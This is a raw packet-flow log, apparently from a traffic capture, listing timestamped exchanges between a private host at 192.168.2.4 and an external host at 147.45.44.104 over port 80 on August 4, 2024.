Aug 4, 2024 02:21:39.098982096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098993063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099004984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099024057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099040031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099055052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099066019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099087000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099098921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099119902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099131107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099163055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099169970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099216938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099220037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099268913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099270105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099301100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099311113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099333048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099344015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099365950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099380970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099397898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099410057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099436045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099445105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099468946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099481106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099499941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099512100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099533081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099544048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099565029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099576950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099597931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099611044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099631071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099642992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099662066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099674940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099698067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099705935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099730968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.099741936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.099775076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.137216091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.137257099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.137274981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.137290001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.137321949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.137347937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.137352943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.137379885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.137387991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.137403965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.137435913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.184647083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.184745073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.184752941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.184779882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.184788942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.184813976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.184822083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.184856892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.184885025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.184916973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.184930086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.184959888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.184967041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.184998989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185013056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185048103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185051918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185096979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185101986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185134888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185148001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185167074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185173988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185214043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185215950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185250998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185261965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185283899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185302019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185329914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185340881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185374022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185383081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185412884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185420990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185452938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185467005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185487986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185498953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185519934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185528040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185564041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185564995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185600042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185602903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185646057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185663939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185697079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185710907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185730934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185741901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185762882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185771942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185795069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185806990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185827017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185838938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185857058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185877085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185889006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185904026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185921907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185930967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185955048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.185966015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.185987949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186000109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186033964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186039925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186072111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186083078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186105013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186115980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186136961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186151028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186167955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186178923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186199903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186213970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186240911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186248064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186280012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186292887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186316967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186320066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186350107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186372042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186382055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186398029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186414003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186417103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186445951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186456919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186479092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186491013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186511993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186525106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186551094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186561108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186583996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186594963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186615944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186629057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186649084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186661005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186681032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186686993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186712980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186728001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186747074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186757088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186789036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.186956882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.186990023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187006950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187021971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187028885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187055111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187072992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187087059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187104940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187118053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187129021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187150002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187161922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187181950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187192917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187215090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187225103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187246084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187253952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187278986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187294006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187316895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187326908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187349081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187359095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187382936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187396049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187417030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187422991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187465906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187822104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187855005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187871933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187886953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187895060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187916994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187930107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187949896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187962055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.187983036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.187994003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188015938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188026905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188049078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188060045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188081980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188093901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188114882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188126087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188148022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188159943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188190937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188843966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188877106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188905954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188909054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188936949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188941956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.188955069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.188993931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189026117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189042091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189059019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189069033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189090014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189105034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189122915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189135075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189157963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189167023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189198017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189642906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189676046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189692020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189707994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189713955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189738989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189755917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189788103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189796925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189821005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189835072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189852953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189863920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189887047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189899921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189920902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189929008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189953089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189963102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.189985037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.189996004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190016031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.190026999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190047979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.190057039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190082073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.190092087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190114021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.190126896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190148115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.190156937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190181017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.190191984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190213919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.190223932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.190258980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.225760937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225790024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225806952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225822926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225869894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225886106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.225903988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225919962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.225936890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225950956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.225986958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.225995064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.226039886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276269913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276365042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276410103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276451111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276740074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276792049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276792049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276839972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276844025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276884079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276890993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276923895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276936054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276956081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.276966095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.276988983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277002096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277033091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277208090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277240038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277256966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277271986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277276993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277303934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277316093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277335882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277348042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277369022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277381897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277400970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277412891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277432919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277445078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277477026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277482033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277523041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277561903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277607918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277611017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277642012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277651072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277674913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.277687073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.277719975 CEST	80	49757	147.45.44.104	192.168.2.4
